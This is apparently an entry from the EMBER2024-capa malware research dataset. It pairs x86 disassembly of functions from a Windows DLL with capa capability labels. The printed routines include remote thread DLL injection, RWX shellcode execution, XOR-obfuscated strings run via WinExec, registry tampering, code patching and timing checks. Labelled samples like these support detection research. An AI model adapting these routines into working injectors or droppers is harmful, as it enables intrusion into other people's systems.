joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007500
Capabilities:
Create process on windows
Get process image filename
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x584
mov eax, dword [0x1003a470]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x40
lea eax, [ebp - 0x48]
mov esi, ecx
push 0
push eax
mov dword [ebp - 0x580], esi
call fcn.1001b890
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x560]
push 0
push ecx
call fcn.1001b890
add esp, 0xc
push 0x208
lea edx, [ebp - 0x358]
push 0
push edx
call fcn.1001b890
add esp, 0xc
push esi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x100076e3
push 0x104
lea eax, [ebp - 0x560]
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x100076dc
lea ecx, [ebp - 0x358]
push ecx
lea ecx, [ebp - 0x560]
call fcn.100040c0
add esp, 4
test al, al
je 0x100076dc
push 0x40
lea edx, [ebp - 0x48]
push 0
push edx
call fcn.1001b890
add esp, 0xc
lea esi, [ebp - 0x560]
mov word [ebp - 0x57c], 0x5325
mov byte [ebp - 0x57a], 0
call fcn.10004310
push eax
lea eax, [ebp - 0x57c]
push eax
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x48]
push edx
lea ecx, [ebp - 0x358]
call fcn.10006580
test al, al
jne 0x1000766c
mov edi, 0x7dbc0342
lea esi, [ebp - 0x578]
call fcn.10012e50
mov ecx, dword [ebp - 0x580]
push ecx
push eax
lea edx, [ebp - 0x150]
push edx
call fcn.10016709
add esp, 0xc
push 0
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea ecx, [ebp - 0x150]
push 0
push ecx
call fcn.1001b890
add esp, 0xc
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100164f9
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x358]
push edx
lea ecx, [ebp - 0x48]
call fcn.10007140
test al, al
jne 0x100076a6
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
lea esi, [ebp - 0x48]
call fcn.1000bac0
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100164f9
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x358]
call fcn.100073b0
test al, al
jne 0x100076dc
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 5
lea esi, [ebp - 0x48]
call fcn.1000bac0
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100164f9
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.100164f9
mov esp, ebp
pop ebp
ret
Function at 0x10007b10
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.10027d40
mov eax, dword [0x1003a470]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x10c]
push eax
push 0x1000
lea ecx, [ebp - 0x110c]
push ecx
xor esi, esi
push ebx
mov dword [ebp - 0x10c], esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
jne 0x10007b61
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100164f9
mov esp, ebp
pop ebp
ret 4
push edi
mov edi, dword [ebp - 0x10c]
shr edi, 2
test edi, edi
jle 0x10007bc6
nop
mov eax, dword [ebp + esi*4 - 0x110c]
push 0x104
lea edx, [ebp - 0x108]
push edx
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x10007bc1
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x108]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10007bb8
test dl, dl
je 0x10007bb4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10007bb8
add eax, 2
add ecx, 2
test dl, dl
jne 0x10007b98
xor eax, eax
jmp 0x10007bbd
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10007bda
inc esi
cmp esi, edi
jl 0x10007b70
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100164f9
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.100164f9
mov esp, ebp
pop ebp
ret 4

Function at 0x10007bf0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push esi
push 4
push 0x1000
push ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x10007c2c
mov eax, dword [ebp + 8]
push 0
push ebx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10007c33
push 0x8000
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
pop esi
pop ebp
ret 4
push 0x10035868
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10007c1e
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x10007c1e
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push ebx
push esi
push edi
test eax, eax
jne 0x10007c26
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
pop esi
pop ebp
ret 4

Function at 0x10007e20
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push pe_nt_image_headers32
push 0x10140b88
call esi
mov ecx, dword [ebp + 8]
push pe_nt_image_headers32
add ecx, 5
push ecx
push 0x10140b88
call fcn.10018c50
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push pe_nt_image_headers32
push 0x10140b88
call esi
push 0
push 0
push 0
push 0x10007dc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10007ef0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
mov eax, dword [0x1003a470]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x94
lea eax, [ebp - 0xe0]
push 0
push eax
call fcn.1001b890
add esp, 0xc
lea ecx, [ebp - 0xe0]
push ecx
mov dword [ebp - 0xe0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [ebp - 0x48]
push edx
mov dword [ebp - 0x48], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov esi, ecx
mov edx, eax
shrd edx, esi, 0x14
shr esi, 0x14
sub eax, dword [ebp - 0x38]
push edx
sbb ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0xdc]
shrd eax, ecx, 0x14
push eax
mov eax, dword [ebp - 0xd4]
push eax
shr ecx, 0x14
mov ecx, dword [ebp - 0xd8]
push ecx
push edx
push str.PREMIUM
push 0x1003b850
call fcn.10004070
add esp, 4
push eax
push 0
mov ecx, 0x1003e760
call fcn.10004720
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop esi
call fcn.100164f9
mov esp, ebp
pop ebp
ret
Function at 0x10008560
Capabilities:
Check if file exists
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8c
mov eax, dword [0x1003a470]
xor eax, esp
mov dword [esp + 0x88], eax
push ebx
push esi
push edi
mov dword [esp + 0x14], 0
mov ecx, 0xf
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + str.LMEZZQY_KEYnnnqmSLLVPH]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x28], dl
inc eax
and ecx, 0xff
cmp eax, 0x18
jb 0x10008590
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [esp + 0x28]
push eax
mov byte [esp + 0x44], 0
call ebx
test eax, eax
jne 0x1000864b
mov ecx, 0x15
jmp 0x100085d0
mov dl, byte [eax + str.V_Kxnz_pg_wHDF]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0xf
jb 0x100085d0
lea eax, [esp + 0x18]
push eax
mov byte [esp + 0x2b], 0
call ebx
test eax, eax
jne 0x1000864b
mov edi, 0x68afd400
lea esi, [esp + 0x84]
call fcn.100132f0
push eax
call ebx
test eax, eax
jne 0x1000864b
mov edi, 0x100359f4
sub edi, 0x32593faf
lea esi, [esp + 0x64]
call fcn.10013320
push eax
call ebx
test eax, eax
jne 0x1000864b
mov edi, str.S_Kxnz_pg_wHDF
sub edi, 0x43f2140e
lea esi, [esp + 0x74]
call fcn.10013350
push eax
call ebx
test eax, eax
jne 0x1000864b
xor al, al
jmp 0x1000864d
mov al, 1
test al, al
jne 0x1000875b
mov ecx, 6
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x28], dl
inc eax
and ecx, 0xff
cmp eax, 0x3b
jb 0x10008660
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x10]
push eax
push 0xf003f
push 0
lea ecx, [esp + 0x34]
push ecx
push connect
mov byte [esp + 0x77], 0
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x100086e1
mov ecx, dword [esp + 0x10]
push 4
lea edx, [esp + 0x10]
push edx
push 4
push 0
lea eax, [esp + 0x28]
push eax
push ecx
mov dword [esp + 0x24], 0
mov dword [esp + 0x30], 0x75526f4e
mov word [esp + 0x34], 0x6e
call edi
mov edx, dword [esp + 0x10]
push edx
call ebx
mov ecx, 0xa1
xor eax, eax
jmp 0x100086f0
mov dl, byte [eax + 0x10035a50]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x28], dl
inc eax
and ecx, 0xff
cmp eax, 0x2a
jb 0x100086f0
lea eax, [esp + 0x14]
push eax
push 0xf003f
push 0
lea ecx, [esp + 0x34]
push ecx
push connect
mov byte [esp + 0x66], 0
call esi
test eax, eax
jne 0x1000875b
push 4
lea edx, [esp + 0x10]
push edx
push 4
mov dword [esp + 0x18], eax
push eax
mov ecx, 0x10035a7c
sub ecx, 0x38d41ae2
lea eax, [esp + 0x28]
call fcn.10013380
push eax
mov eax, dword [esp + 0x24]
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call ebx
mov ecx, dword [esp + 0x94]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100164f9
mov esp, ebp
pop ebp
ret
Function at 0x10009e00
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10030ed8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
push edi
mov eax, dword [0x1003a470]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x1013f888]
cmp eax, 0x927c0
jb 0x10009e43
call esi
mov dword [0x1013f888], eax
xor esi, esi
cmp dword [0x1013f874], esi
je 0x10009eb4
push esi
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], esi
mov edx, dword [0x1013f878]
push edx
lea eax, [ebp - 0x20]
push eax
call fcn.10009be0
mov edi, dword [ebp - 0x20]
test al, al
je 0x10009e9d
cmp edi, dword [ebp - 0x1c]
je 0x10009e9d
lea ecx, [ebp - 0x20]
push ecx
call fcn.10009ee0
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp edi, esi
je 0x10009eb4
push edi
call fcn.100164ee
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000a150
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10030ea8
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push esi
push edi
mov eax, dword [0x1003a470]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x1013f888]
cmp eax, 0x927c0
jb 0x1000a197
call esi
mov dword [0x1013f888], eax
xor esi, esi
push esi
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
push 0x14
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x48], esi
call fcn.10009be0
mov edi, dword [esp + 0x14]
test al, al
jne 0x1000a1e8
cmp edi, dword [esp + 0x18]
jne 0x1000a1f2
lea eax, [esp + 0x14]
push eax
call fcn.1000a2e0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp edi, esi
je 0x1000a20a
push edi
call fcn.100164ee
add esp, 4
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000a220
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10030ed8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
push edi
mov eax, dword [0x1003a470]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x1013f888]
cmp eax, 0x927c0
jb 0x1000a263
call esi
mov dword [0x1013f888], eax
xor esi, esi
push esi
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
push 0x14
lea edx, [ebp - 0x20]
push edx
mov dword [ebp - 4], esi
call fcn.10009be0
mov edi, dword [ebp - 0x20]
test al, al
jne 0x1000a2a7
cmp edi, dword [ebp - 0x1c]
jne 0x1000a2b0
lea eax, [ebp - 0x20]
push eax
call fcn.1000a2e0
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp edi, esi
je 0x1000a2c7
push edi
call fcn.100164ee
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000ac20
Capabilities:
Check if file exists
Set registry value

Disassembly:
movzx eax, byte [ecx + 4]
push edi
cmp eax, 5
ja case.default.0x1000ac2e
jmp dword [eax*4 + 0x1000acd4]
pop edi
jmp fcn.10008560
cmp dword [0x10140d1c], 0
jne case.default.0x1000ac2e
xor ecx, ecx
mov edi, 0x10008cf0
mov dword [0x10140d1c], 1
call fcn.10003bd0
pop edi
ret
cmp dword [0x10140d1c], 0
jne case.default.0x1000ac2e
xor ecx, ecx
mov edi, 0x10008cf0
mov dword [0x10140d1c], 2
call fcn.10003bd0
pop edi
ret
cmp dword [0x10140d1c], 0
jne case.default.0x1000ac2e
xor ecx, ecx
mov edi, 0x10008cf0
mov dword [0x10140d1c], 3
call fcn.10003bd0
pop edi
ret
cmp dword [0x10140d1c], 0
jne case.default.0x1000ac2e
xor ecx, ecx
mov edi, 0x10008cf0
mov dword [0x10140d1c], 4
call fcn.10003bd0
pop edi
ret
cmp byte [ecx + 0x10], 0
setne al
mov byte [0x1014100c], al
pop edi
ret

Function at 0x1000ac35
Capabilities:
Check if file exists
Encode data using xor
Set registry value

Disassembly:
movzx eax, byte [ecx + 4]
push edi
cmp eax, 5
ja case.default.0x1000ac2e
jmp dword [eax*4 + 0x1000acd4]
pop edi
jmp fcn.10008560
cmp dword [0x10140d1c], 0
jne case.default.0x1000ac2e
xor ecx, ecx
mov edi, 0x10008cf0
mov dword [0x10140d1c], 1
call fcn.10003bd0
pop edi
ret
cmp dword [0x10140d1c], 0
jne case.default.0x1000ac2e
xor ecx, ecx
mov edi, 0x10008cf0
mov dword [0x10140d1c], 2
call fcn.10003bd0
pop edi
ret
cmp dword [0x10140d1c], 0
jne case.default.0x1000ac2e
xor ecx, ecx
mov edi, 0x10008cf0
mov dword [0x10140d1c], 3
call fcn.10003bd0
pop edi
ret
cmp dword [0x10140d1c], 0
jne case.default.0x1000ac2e
xor ecx, ecx
mov edi, 0x10008cf0
mov dword [0x10140d1c], 4
call fcn.10003bd0
pop edi
ret
cmp byte [ecx + 0x10], 0
setne al
mov byte [0x1014100c], al
pop edi
ret
Function at 0x1000bd00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10031158
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x1003a470]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edx, edx
mov ecx, 0x75
xor eax, eax
mov bl, byte [eax + 0x10035e30]
xor bl, cl
inc ecx
mov byte [ebp + eax - 0x34], bl
inc eax
and ecx, 0xff
cmp eax, 0x21
jb 0x1000bd32
mov byte [ebp - 0x13], dl
push 0x1388
lea eax, [ebp - 0x34]
push eax
push 2
mov eax, 0x1003f698
mov dword [ebp - 4], edx
call fcn.10005000
add esp, 0xc
call fcn.10003d70
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100164f9
mov esp, ebp
pop ebp
ret

Function at 0x1000bd90
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1003a470]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x49
xor eax, eax
mov dl, byte [eax + str.:__8__8_q]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0x10
jb 0x1000bda7
push 0
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.10003d70
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100164f9
mov esp, ebp
pop ebp
ret

Function at 0x1000c1b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1003a470]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
push 0xc
lea eax, [ebp - 0x20]
push eax
xor edi, edi
push ebx
mov dword [ebp - 0x20], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleInformation]
mov dword [ebp - 0x10], 0xff6aff6a
mov dword [ebp - 0xc], 0xffffffff
mov word [ebp - 8], 0xffff
mov byte [ebp - 6], 0xe8
cmp dword [ebp - 0x1c], edi
jbe 0x1000c27c
push esi
xor eax, eax
mov cl, byte [ebp + eax - 0x10]
cmp cl, 0xff
je 0x1000c213
lea edx, [eax + ebx]
cmp byte [edx + edi], cl
jne 0x1000c275
inc eax
cmp eax, 0xb
jl 0x1000c202
mov al, byte [ebx + edi + 1]
test al, al
je 0x1000c225
cmp al, 1
jne 0x1000c275
mov al, byte [ebx + edi + 3]
test al, al
je 0x1000c231
cmp al, 1
jne 0x1000c275
mov eax, dword [ebx + edi + 0xb]
lea esi, [ebx + edi + 0xa]
lea ecx, [eax + esi + 5]
cmp ecx, 0x404d70
jne 0x1000c275
lea edx, [ebp - 0x14]
push edx
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x24]
push ecx
push edx
mov eax, 0x1000c160
sub eax, esi
push 5
sub eax, 5
push esi
mov byte [esi], 0xe8
mov dword [esi + 1], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc edi
cmp edi, dword [ebp - 0x1c]
jb 0x1000c200
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.100164f9
mov esp, ebp
pop ebp
ret
Function at 0x1000c290
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1003a470]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor edi, edi
cmp ebx, edi
je 0x1000c35c
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
push 0xc
lea eax, [ebp - 0x20]
push eax
push ebx
mov dword [ebp - 0x20], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleInformation]
mov dword [ebp - 0x10], 0xff6aff6a
mov dword [ebp - 0xc], 0xffffffff
mov word [ebp - 8], 0xffff
mov byte [ebp - 6], 0xff
cmp dword [ebp - 0x1c], edi
jbe 0x1000c35c
push esi
jmp 0x1000c2f0
xor eax, eax
mov cl, byte [ebp + eax - 0x10]
cmp cl, 0xff
je 0x1000c303
lea edx, [eax + ebx]
cmp byte [edx + edi], cl
jne 0x1000c355
inc eax
cmp eax, 0xb
jl 0x1000c2f2
mov al, byte [ebx + edi + 1]
test al, al
je 0x1000c315
cmp al, 1
jne 0x1000c355
mov al, byte [ebx + edi + 3]
test al, al
je 0x1000c321
cmp al, 1
jne 0x1000c355
cmp dword [ebx + edi + 5], 0x404d70
lea esi, [ebx + edi + 5]
jne 0x1000c355
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x14]
push ecx
push edx
push 4
push esi
mov dword [esi], 0x1000c160
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc edi
cmp edi, dword [ebp - 0x1c]
jb 0x1000c2f0
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.100164f9
mov esp, ebp
pop ebp
ret
Function at 0x1000f890
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10031317
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1003a470]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebx], 0x100364e8
mov dword [ebx + 0x60], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], eax
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
mov dword [ebx + ecx], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov edx, dword [ebx]
mov esi, dword [edx + 4]
add esi, ebx
mov dword [ebp - 0x10], 1
call fcn.100016c0
lea edi, [ebx + 4]
push esi
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], 0
call fcn.10011e90
cmp dword [esi + 0x38], 0
mov byte [esi + 0x40], al
jne 0x1000f91d
mov eax, dword [esi + 0xc]
or eax, 4
or eax, 4
push 0
mov ecx, esi
call fcn.10001580
mov dword [ebp - 4], 2
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
push edi
mov dword [ebx + ecx], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
call fcn.100112c0
lea edx, [edi + 8]
mov dword [edi + 0x10], edx
lea ecx, [edi + 0x18]
mov dword [edi + 0x20], ecx
lea edx, [edi + 0x1c]
mov dword [edi + 0x24], edx
mov dword [edi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [edi + 0x50], 0
mov byte [edi + 0x49], 0
lea ecx, [edi + 0x28]
mov dword [edi + 0x30], ecx
xor ecx, ecx
lea eax, [edi + 0xc]
mov dword [edi + 0x14], eax
lea edx, [edi + 0x2c]
mov dword [edi + 0x34], edx
mov dword [eax], ecx
mov eax, dword [edi + 0x24]
mov dword [eax], ecx
mov edx, dword [edi + 0x34]
mov dword [edx], ecx
mov eax, dword [edi + 0x10]
mov dword [eax], ecx
mov edx, dword [edi + 0x20]
mov dword [edx], ecx
mov eax, dword [edi + 0x30]
mov edx, dword [0x10141670]
mov dword [eax], ecx
mov dword [edi + 0x54], ecx
mov dword [edi + 0x4c], edx
mov dword [edi + 0x44], ecx
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4